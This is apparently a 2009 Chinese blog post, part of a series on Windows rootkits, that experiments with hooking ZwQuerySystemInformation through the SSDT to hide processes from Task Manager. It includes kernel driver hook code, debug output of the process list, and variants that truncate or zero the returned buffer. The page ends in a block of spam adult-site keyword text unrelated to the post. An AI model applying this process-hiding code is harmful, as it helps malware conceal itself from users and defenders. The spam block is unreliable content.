• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (八)

            Posted on 2009-10-28 14:38 S.l.e!ep.¢% 閱讀(342) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            HOOK SSDT Hide Process (七)

            HOOK SSDT Hide Process (七)? 的代碼雖然隱藏了進程,但會導致在 taskmgr.exe 全部進程看不到
            而且運行一段時間后, taskmgr.exe 就會非法關閉

            Q:
            今天突然發現,如果 taskmgr.exe 中選中了 'Show processes from all users' 選項,還是可以看到其它進程的(taskmgr.exe成功隱藏),但為什么不選中就所以進程看不到?這么鬼異的問題估計要OD下 taskmgr.exe 才知道

            為了一查究竟,我把 MyZwQuerySystemInformation 修改成如下的代碼
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            //if(curr->NextEntryDelta)
            ????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????
            while(curr)
            ????????????{
            ????????????????????????????????KdPrint((
            "ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????
            if(curr->NextEntryDelta)
            ????????????????????curr?
            =?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????
            else
            ????????????????????curr?
            =?NULL;
            ????????????????????
            ????????????????
            ????????????}
            //?while(curr)?
            ????????????????????????
            ????????????????????????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }

            在 DebugView 中顯示的內容如下:
            Entry?Hook?Function!
            Entry?Hook()
            KeServiceDescriptorTable
            ->ServiceTableBase?is?:0x804e2d20
            OldZwQuerySystemInformation?
            is?:0x8057cc27
            MyZwQuerySystemInformation?
            is?:0xf8f0c080
            Leave?DriverEntry
            !
            ProcessName:(
            null)?NextEntryDelta:248?
            ProcessName:System?NextEntryDelta:
            3528?
            ProcessName:smss.exe?NextEntryDelta:
            400?
            ProcessName:csrss.exe?NextEntryDelta:
            912?
            ProcessName:winlogon.exe?NextEntryDelta:
            1304?
            ProcessName:services.exe?NextEntryDelta:
            1176?
            ProcessName:lsass.exe?NextEntryDelta:
            1360?
            ProcessName:vmacthlp.exe?NextEntryDelta:
            280?
            ProcessName:svchost.exe?NextEntryDelta:
            1360?
            ProcessName:svchost.exe?NextEntryDelta:
            656?
            ProcessName:svchost.exe?NextEntryDelta:
            3664?
            ProcessName:svchost.exe?NextEntryDelta:
            464?
            ProcessName:svchost.exe?NextEntryDelta:
            1104?
            ProcessName:explorer.exe?NextEntryDelta:
            920?
            ProcessName:spoolsv.exe?NextEntryDelta:
            848?
            ProcessName:VMwareService.exe?NextEntryDelta:
            416?
            ProcessName:VMwareTray.exe?NextEntryDelta:
            280?
            ProcessName:VMwareUser.exe?NextEntryDelta:
            536?
            ProcessName:ctfmon.exe?NextEntryDelta:
            272?
            ProcessName:wscntfy.exe?NextEntryDelta:
            272?
            ProcessName:alg.exe?NextEntryDelta:
            584?
            ProcessName:cmd.exe?NextEntryDelta:
            264?
            ProcessName:conime.exe?NextEntryDelta:
            272?
            ProcessName:DriverMonitor.exe?NextEntryDelta:
            608?
            ProcessName:notepad.exe?NextEntryDelta:
            272?
            ProcessName:taskmgr.exe?NextEntryDelta:
            400?
            ProcessName:Dbgview.exe?NextEntryDelta:
            0?
            Unhook?leave
            !

            接著再做一個嘗試,如果直接把第二個線程的信息的 NextEntryDelta 改為0 , 是不是 taskmgr.exe 就會只顯示一條線程?
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            if(curr->NextEntryDelta)
            ????????????????????????{
            ??????????????????????????curr->NextEntryDelta?=?0;
            ????????????}
            ????????????????????????
            ????????????????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????????????????
            /*
            ????????????while(curr)
            ????????????{
            ????????????????????????????????KdPrint(("ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????if(curr->NextEntryDelta)
            ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????else
            ????????????????????curr?=?NULL;
            ????????????????????
            ????????????????
            ????????????}//?while(curr)?
            ????????????????
            */????????
            ?????????????????
            //???????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }


            情況還是?taskmgr.exe 中選中了 'Show processes from all users' 選項,就會顯示一條 System Idle Process 線程,如果不選中
            'Show processes from all users' 這個選項,那么 Taskmgr.exe 的列表就會顯示為空

            curr->NextEntryDelta?=?0; 那為何不把 curr 之后的數全部置為 0x00 ?
            于是,加多幾句代碼

            ??????????????if(curr->NextEntryDelta)
            ????????????{
            ??????????????????????????KdPrint((
            "SystemInformationLength:%d?\n",?SystemInformationLength));
            ??????????????????????????curr->NextEntryDelta?=?0;
            ??????????????????????????memset((
            void*)((ULONG)curr?+?curr->NextEntryDelta),?0x00,?SystemInformationLength?-?curr->NextEntryDelta);
            ????????????}

            此時,無論有無選中 'Show Process From all users'選項,所有進程都不顯示在 taskmgr.exe 了
            另外還發現兩個現象
            Q1. taskmgr.exe 調用 ZwQuerySystemInformation 時,ReturnLength?指針總是傳 NULL
            Q2. taskmgr.exe 調用 ZwQuerySystemInformation 時,SystemInformationLength 總是傳 0x6000
            難道 taskmgr.exe 并不是通過 NextEntryData 這個值來定位到下個進程的信息的?

            ?

            77777亚洲午夜久久多喷| 一本久久知道综合久久| 久久这里只精品国产99热| 国产精品无码久久久久| 伊人热热久久原色播放www| 浪潮AV色综合久久天堂| 久久久艹| 夜夜亚洲天天久久| 亚洲中文精品久久久久久不卡| 观看 国产综合久久久久鬼色 欧美 亚洲 一区二区 | 亚洲欧美日韩久久精品第一区| 97久久精品午夜一区二区| 亚洲欧洲久久久精品| 亚洲精品高清国产一久久| 亚洲国产精品久久电影欧美| 久久国产成人午夜aⅴ影院| 久久精品无码专区免费青青| 伊人热热久久原色播放www| 成人国内精品久久久久影院VR| 少妇久久久久久久久久| 久久婷婷午色综合夜啪| 精品久久国产一区二区三区香蕉 | 国产精品激情综合久久| 99国产欧美久久久精品蜜芽| 亚洲精品乱码久久久久久中文字幕| 国产精品99久久久久久www| 亚洲欧美日韩精品久久| 欧美久久精品一级c片片| MM131亚洲国产美女久久| 久久精品人成免费| 久久久久久久97| 激情伊人五月天久久综合| 97久久超碰国产精品旧版| 国产精品免费福利久久| 99国产欧美精品久久久蜜芽 | 91精品国产乱码久久久久久| 久久久一本精品99久久精品88| 人妻久久久一区二区三区| 久久久久无码精品国产| 国产精品视频久久久| 久久人人爽人爽人人爽av|